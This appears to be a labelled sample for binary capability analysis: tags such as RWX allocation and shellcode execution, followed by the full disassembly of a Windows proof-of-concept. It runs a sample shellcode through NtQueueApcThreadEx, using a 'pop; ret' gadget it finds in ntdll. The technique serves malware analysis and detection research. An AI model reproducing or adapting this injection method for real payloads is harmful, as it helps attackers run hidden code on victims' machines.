Function at 0x1400010d0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Parse pe header

Disassembly:
push rdi
mov eax, 0x1060
call fcn.1400021a0
sub rsp, rax
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x1050], rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rdi, rax
test rax, rax
je 0x140001485
lea rdx, str.NtQueueApcThreadEx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140005630], rax
test rax, rax
je 0x140001485
lea rdx, str.NtTestAlert
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp qword [0x140005630], 0
mov qword [0x140005638], rax
je 0x140001485
lea rax, [0x140003330]
mov qword [rsp + 0x1080], rsi
movups xmm0, xmmword [rax]
lea rcx, [rsp + 0x50]
mov edx, 0xe4
movups xmm1, xmmword [rax + 0x10]
lea rax, [rax + 0x80]
mov r8d, 0x1000
movups xmmword [rcx], xmm0
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rcx + 0x50], xmm1
movups xmm1, xmmword [rax]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax - 0x10]
movups xmmword [rcx - 0x10], xmm0
movups xmm0, xmmword [rax + 0x10]
movups xmmword [rcx], xmm1
movups xmm1, xmmword [rax + 0x20]
movups xmmword [rcx + 0x10], xmm0
movups xmm0, xmmword [rax + 0x30]
movups xmmword [rcx + 0x20], xmm1
movups xmm1, xmmword [rax + 0x40]
movups xmmword [rcx + 0x30], xmm0
movups xmm0, xmmword [rax + 0x50]
mov eax, dword [rax + 0x60]
movups xmmword [rcx + 0x40], xmm1
movups xmmword [rcx + 0x50], xmm0
mov dword [rcx + 0x60], eax
xor ecx, ecx
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
test rax, rax
jne 0x14000121a
mov edx, 0xe4
lea rcx, str.____Failed_to_allocate_PAGE_EXECUTE_READWRITE_memory_for__n___d__n
call fcn.140001070
xor eax, eax
jmp 0x140001454
mov rdx, rsi
mov qword [rsp + 0x1078], rbp
lea rcx, str.____Allocated_space_for_sample_shellcode_at__p__copying.._n
call fcn.140001070
lea rax, [rsp + 0x50]
movups xmm0, xmmword [rax]
lea rcx, [rsi + 0x80]
movups xmm1, xmmword [rax + 0x10]
lea rax, [rax + 0x80]
movups xmmword [rsi], xmm0
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rsi + 0x10], xmm1
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rsi + 0x20], xmm0
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rsi + 0x30], xmm1
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rsi + 0x40], xmm0
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rsi + 0x50], xmm1
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rsi + 0x60], xmm0
movups xmm0, xmmword [rax]
movups xmmword [rcx - 0x10], xmm1
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx], xmm0
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [rax + 0x50]
mov eax, dword [rax + 0x60]
movups xmmword [rcx + 0x40], xmm0
movups xmmword [rcx + 0x50], xmm1
mov dword [rcx + 0x60], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea rcx, str.ntdll.dll
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001475
mov r9d, 0x18
lea r8, [rsp + 0x30]
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_K32GetModuleInformation]
test eax, eax
je 0x140001475
mov r10, qword [rsp + 0x30]
mov eax, 0x5a4d
cmp word [r10], ax
jne 0x140001475
movsxd r9, dword [r10 + 0x3c]
add r9, r10
cmp dword [r9], 0x4550
jne 0x140001475
movzx r11d, word [r9 + 6]
lea rdi, [rsp + 0x50]
xor ebp, ebp
xor eax, eax
mov ecx, 0x1000
movzx r8d, bp
rep stosb byte [rdi], al
mov edi, ebp
cmp bp, r11w
jae 0x1400013c7
mov qword [rsp + 0x1070], rbx
movzx ebx, word [r9 + 0x14]
nop
movzx eax, r8w
lea rcx, [rax + rax*4]
lea rdx, [rbx + rcx*8]
mov eax, dword [rdx + r9 + 0x3c]
and eax, 0x20000020
cmp eax, 0x20000020
jne 0x1400013b5
mov eax, dword [rdx + r9 + 0x24]
mov ecx, dword [rdx + r9 + 0x20]
add rax, r10
lea rdx, [rax - 1]
add rdx, rcx
cmp rax, rdx
jae 0x1400013b5
movzx ecx, byte [rax]
cmp cl, 0x5c
je 0x1400013ad
and cl, 0xf0
cmp cl, 0x50
jne 0x1400013ad
cmp byte [rax + 1], 0xc3
jne 0x1400013ad
mov ecx, edi
inc edi
mov qword [rsp + rcx*8 + 0x50], rax
cmp edi, 0x200
je 0x1400013b5
inc rax
cmp rax, rdx
jb 0x140001386
inc r8w
cmp r8w, r11w
jb 0x140001350
mov rbx, qword [rsp + 0x1070]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
xor edx, edx
lea ecx, [rdi + 1]
div ecx
mov rdi, qword [rsp + rdx*8 + 0x50]
test rdi, rdi
je 0x140001475
mov r9, rdi
mov qword [rsp + 0x20], rsi
mov r8, rdi
lea rdx, str.ntdll.dll
lea rcx, str.____Found_usable_gadget_at_location__ls__p_n____Calling_NtQueueApcThreadEx_ApcRoutine___p__SystemArgument1___p__n
call fcn.140001010
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x28], rbp
mov r9, rsi
mov rcx, rax
mov qword [rsp + 0x20], rbp
mov r8, rdi
xor edx, edx
call qword [0x140005630]
call qword [0x140005638]
mov rdx, rsi
lea rcx, str.____Freeing_up_the_memory_at__p_n
call fcn.140001070
xor edx, edx
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, 1
mov rbp, qword [rsp + 0x1078]
mov rsi, qword [rsp + 0x1080]
mov rcx, qword [rsp + 0x1050]
xor rcx, rsp
call fcn.1400014b0
add rsp, 0x1060
pop rdi
ret
lea rcx, str.____Failed_to_find_valid_pop_r32__ret_gadget._Is_this_process_32_bit__n
call fcn.140001070
xor eax, eax
jmp 0x14000144c
lea rcx, str.____Failed_to_resolve_APIs_successfully__NtQueueApcThreadEx_may_not_be_present_in_NTDLL__Win7__n
call fcn.140001070
xor eax, eax
jmp 0x14000145c